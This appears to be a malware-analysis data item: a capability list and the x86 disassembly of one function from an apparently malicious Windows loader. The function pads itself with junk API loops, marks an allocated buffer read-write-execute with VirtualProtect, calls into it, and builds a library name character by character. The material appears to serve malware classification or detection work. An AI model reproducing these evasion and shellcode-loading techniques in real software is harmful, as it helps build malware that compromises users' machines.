Function at 0x4a25d0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x1470
call fcn.0040e010
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x50]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor esi, esi
cmp esi, 0x1e1e2
jge 0x4a2602
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x8403c0], 0x6fb
jne 0x4a261e
push 0
push 0
lea eax, [esp + 0x488]
push eax
push 0
call edi
cmp esi, 0x1e9b1d50
jle 0x4a2636
cmp ebx, 0xc10c34
je 0x4a2636
cmp ebp, 0x9654ca0
jne 0x4a263f
inc esi
cmp esi, 0x98f82
jl 0x4a25f4
cmp dword [0x8403c0], 0xcf8
jne 0x4a269d
push 0
push 0
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405220
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405370
fstp st(0)
push 0
push 0
push 0
push 0x4bb690
call fcn.00404ee1
push 0
call fcn.004051e9
add esp, 0x1c
push 0
push 0
call fcn.00404c4d
add esp, 8
push 0
call fcn.00405197
mov edi, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x4a26be
mov eax, 0x5d1
add dword [0x8403c0], eax
cmp dword [0x8403c0], 3
jne 0x4a26db
push 0
push 0
call edi
push 0
push 0
lea ecx, [esp + 0x88]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x4a26ab
mov edx, dword [0x8403c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4c0424], eax
mov eax, dword [0x8403c0]
xor esi, esi
test eax, eax
je 0x4a27ab
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea esp, [esp]
cmp eax, 0xfe
jne 0x4a277a
push 0
call edi
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x48c]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x20]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
push edx
lea eax, [esp + 0x50]
push eax
push 0x404608
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.004a2180
mov eax, dword [0x8403c0]
cmp eax, 0x29
jne 0x4a27a2
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x8403c0]
inc esi
cmp esi, eax
jb 0x4a2720
cmp eax, 0x70
jne 0x4a2834
push 0
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x404618
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0
push 0
lea edx, [esp + 0xc88]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x484]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x40462c
push 0x404664
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x8403c0]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x4a286e
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x8403c0]
cmp eax, 0xdf
jne 0x4a29a2
push 0
push 0
push 0
call esi
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x3c]
push ecx
push edx
push edx
lea eax, [esp + 0xc8c]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call ebp
push 0x404670
push 0x404680
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x34]
push ecx
push 0
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea eax, [esp + 0x38]
push eax
push 0x4046a8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
mov dword [esp + 0x50], 0
push 0
lea ecx, [esp + 0x58]
push ecx
call fcn.00407540
add esp, 0xc
push 0
lea edx, [esp + 0x50]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x8403c0]
dec dword [esp + 0x18]
jne 0x4a2854
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea ecx, [ecx]
push 0
call edi
push 0
call ebx
dec esi
jne 0x4a29c0
mov ecx, dword [0x8403c0]
mov edx, dword [0x4c0424]
lea eax, [esp + 0x1c]
push eax
push 0x40
push ecx
push edx
mov byte [0x4bb690], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a2410
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x4a2a00
cmp dword [0x8403c0], 0xba
jne 0x4a2a19
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a2a2c
mov eax, 0
add dword [0x4c0424], eax
inc esi
cmp esi, 0x1605a
jl 0x4a2a00
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, 0xf2b8b
cmp dword [0x8403c0], 0x21
jne 0x4a2a4d
push 0
call esi
dec edi
jne 0x4a2a40
mov ecx, 0x73
mov edx, 0x6d
mov word [0x83f3d2], cx
mov word [0x83f3d6], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x83f3da], ax
mov word [0x83f3e6], dx
mov word [0x83f3d8], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x83f3d0
mov dword [0x83f3e0], 0x6c0064
mov word [0x83f3d4], dx
mov word [0x83f3d0], ax
mov word [0x83f3e4], cx
mov dword [0x83f3dc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x8403c0], 0xc30
jne 0x4a2b2b
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
lea ecx, [esp + 0xc84]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret